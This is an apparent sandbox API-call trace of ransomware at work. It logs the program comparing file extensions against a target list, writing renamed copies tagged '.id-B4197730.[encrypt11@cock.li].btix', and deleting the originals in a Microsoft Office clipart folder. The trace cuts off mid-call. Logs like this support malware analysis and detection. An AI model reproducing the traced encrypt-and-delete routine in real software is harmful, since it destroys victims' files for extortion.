lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.075] lstrlenW (lpString=".zip") returned 4 [0140.075] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.075] lstrlenW (lpString=".rar") returned 4 [0140.075] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.075] lstrlenW (lpString=".bz2") returned 4 [0140.075] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.075] lstrlenW (lpString=".7z") returned 3 [0140.075] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.075] lstrlenW (lpString=".dbf") returned 4 [0140.075] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.075] lstrlenW (lpString=".1cd") returned 4 [0140.075] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.075] lstrlenW (lpString=".jpg") returned 4 [0140.075] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.075] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0140.075] lstrlenW (lpString="J0099204.WMF") returned 12 [0140.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.077] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=17854) returned 1 [0140.077] CloseHandle (hObject=0x430) returned 1 [0140.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0140.077] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.078] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.078] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.078] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.119] GetLastError () returned 0x0 [0140.119] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x45be, lpOverlapped=0x0) returned 1 [0140.126] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0140.127] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.127] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.127] SetEndOfFile (hFile=0x4c0) returned 1 [0140.127] CloseHandle (hObject=0x4c0) returned 1 [0140.127] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.127] SetEndOfFile (hFile=0x430) returned 1 [0140.130] CloseHandle (hObject=0x430) returned 1 [0140.130] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.130] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0140.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.131] lstrlenW (lpString=".doc") returned 4 [0140.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.131] lstrlenW (lpString=".docx") returned 5 [0140.131] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0140.131] lstrlenW (lpString=".pdf") returned 4 [0140.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.131] lstrlenW (lpString=".xls") returned 4 [0140.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.131] lstrlenW (lpString=".xlsx") returned 5 [0140.131] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0140.131] lstrlenW (lpString=".ppt") returned 4 [0140.131] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.131] lstrlenW (lpString=".zip") returned 4 [0140.131] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.131] lstrlenW (lpString=".rar") returned 4 [0140.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.131] lstrlenW (lpString=".bz2") returned 4 [0140.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.131] lstrlenW (lpString=".7z") returned 3 [0140.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.131] lstrlenW (lpString=".dbf") returned 4 [0140.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.131] lstrlenW (lpString=".1cd") returned 4 [0140.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.132] lstrlenW (lpString=".jpg") returned 4 [0140.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.132] lstrlenW (lpString=".doc") returned 4 [0140.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.132] lstrlenW (lpString=".docx") returned 5 [0140.132] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0140.132] lstrlenW (lpString=".pdf") returned 4 [0140.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.132] lstrlenW (lpString=".xls") returned 4 [0140.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.132] lstrlenW (lpString=".xlsx") returned 5 [0140.132] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0140.132] lstrlenW (lpString=".ppt") returned 4 [0140.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.132] lstrlenW (lpString=".zip") returned 4 [0140.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.132] lstrlenW (lpString=".rar") returned 4 [0140.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.132] lstrlenW (lpString=".bz2") returned 4 [0140.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.132] lstrlenW (lpString=".7z") returned 3 [0140.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.132] lstrlenW (lpString=".dbf") returned 4 [0140.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.132] lstrlenW (lpString=".1cd") returned 4 [0140.133] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0140.133] lstrlenW (lpString=".jpg") returned 4 [0140.133] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.133] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0140.133] lstrlenW (lpString="J0099205.WMF") returned 12 [0140.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.134] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=17854) returned 1 [0140.134] CloseHandle (hObject=0x430) returned 1 [0140.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 0x220 [0140.134] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.135] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.135] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.135] GetLastError () returned 0x0 [0140.135] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x45be, lpOverlapped=0x0) returned 1 [0140.382] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x45c0, lpOverlapped=0x0) returned 1 [0140.383] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.383] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.383] SetEndOfFile (hFile=0x4c0) returned 1 [0140.383] CloseHandle (hObject=0x4c0) returned 1 [0140.383] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.383] SetEndOfFile (hFile=0x430) returned 1 [0140.386] CloseHandle (hObject=0x430) returned 1 [0140.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.386] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099205.wmf")) returned 1 [0140.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.387] lstrlenW (lpString=".doc") returned 4 [0140.388] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.388] lstrlenW (lpString=".docx") returned 5 [0140.388] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0140.388] lstrlenW (lpString=".pdf") returned 4 [0140.388] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.388] lstrlenW (lpString=".xls") returned 4 [0140.388] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.388] lstrlenW (lpString=".xlsx") returned 5 [0140.388] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0140.388] lstrlenW (lpString=".ppt") returned 4 [0140.388] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.388] lstrlenW (lpString=".zip") returned 4 [0140.388] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.388] lstrlenW (lpString=".rar") returned 4 [0140.388] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.388] lstrlenW (lpString=".bz2") returned 4 [0140.388] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.388] lstrlenW (lpString=".7z") returned 3 [0140.388] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.388] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.388] lstrlenW (lpString=".dbf") returned 4 [0140.388] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.406] lstrlenW (lpString=".1cd") returned 4 [0140.406] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.406] lstrlenW (lpString=".jpg") returned 4 [0140.406] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.406] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.406] lstrlenW (lpString=".doc") returned 4 [0140.406] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0140.406] lstrlenW (lpString=".docx") returned 5 [0140.406] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0140.406] lstrlenW (lpString=".pdf") returned 4 [0140.406] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0140.406] lstrlenW (lpString=".xls") returned 4 [0140.406] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0140.407] lstrlenW (lpString=".xlsx") returned 5 [0140.407] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0140.407] lstrlenW (lpString=".ppt") returned 4 [0140.407] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0140.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.407] lstrlenW (lpString=".zip") returned 4 [0140.407] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0140.407] lstrlenW (lpString=".rar") returned 4 [0140.407] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0140.407] lstrlenW (lpString=".bz2") returned 4 [0140.407] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0140.407] lstrlenW (lpString=".7z") returned 3 [0140.407] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0140.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.407] lstrlenW (lpString=".dbf") returned 4 [0140.407] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0140.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.407] lstrlenW (lpString=".1cd") returned 4 [0140.407] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0140.407] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099205.WMF") returned 68 [0140.407] lstrlenW (lpString=".jpg") returned 4 [0140.407] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0140.408] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0140.408] lstrlenW (lpString="J0101862.BMP") returned 12 [0140.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.408] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=32184) returned 1 [0140.408] CloseHandle (hObject=0x430) returned 1 [0140.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 0x220 [0140.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.409] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.409] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.409] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.409] GetLastError () returned 0x0 [0140.409] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x7db8, lpOverlapped=0x0) returned 1 [0140.424] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0140.425] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.425] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.425] SetEndOfFile (hFile=0x4c0) returned 1 [0140.425] CloseHandle (hObject=0x4c0) returned 1 [0140.425] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.425] SetEndOfFile (hFile=0x430) returned 1 [0140.428] CloseHandle (hObject=0x430) returned 1 [0140.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101862.bmp")) returned 1 [0140.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.429] lstrlenW (lpString=".doc") returned 4 [0140.429] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.429] lstrlenW (lpString=".docx") returned 5 [0140.429] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0140.429] lstrlenW (lpString=".pdf") returned 4 [0140.429] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.429] lstrlenW (lpString=".xls") returned 4 [0140.429] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.429] lstrlenW (lpString=".xlsx") returned 5 [0140.429] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0140.429] lstrlenW (lpString=".ppt") returned 4 [0140.429] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.429] lstrlenW (lpString=".zip") returned 4 [0140.429] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.429] lstrlenW (lpString=".rar") returned 4 [0140.429] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.429] lstrlenW (lpString=".bz2") returned 4 [0140.429] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.429] lstrlenW (lpString=".7z") returned 3 [0140.429] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0140.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.430] lstrlenW (lpString=".dbf") returned 4 [0140.430] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0140.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.430] lstrlenW (lpString=".1cd") returned 4 [0140.430] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0140.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.430] lstrlenW (lpString=".jpg") returned 4 [0140.430] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0140.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.430] lstrlenW (lpString=".doc") returned 4 [0140.430] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0140.430] lstrlenW (lpString=".docx") returned 5 [0140.430] lstrcmpiW (lpString1=".docx", lpString2="2.BMP") returned -1 [0140.430] lstrlenW (lpString=".pdf") returned 4 [0140.430] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0140.430] lstrlenW (lpString=".xls") returned 4 [0140.430] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0140.430] lstrlenW (lpString=".xlsx") returned 5 [0140.430] lstrcmpiW (lpString1=".xlsx", lpString2="2.BMP") returned -1 [0140.430] lstrlenW (lpString=".ppt") returned 4 [0140.430] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0140.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101862.BMP") returned 68 [0140.430] lstrlenW (lpString=".zip") returned 4 [0140.431] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0140.431] lstrlenW (lpString=".rar") returned 4 [0140.431] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0140.431] lstrlenW (lpString=".bz2") returned 4 [0140.431] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0140.431] lstrlenW (lpString=".7z") returned 3 [0140.431] lstrcmpiW 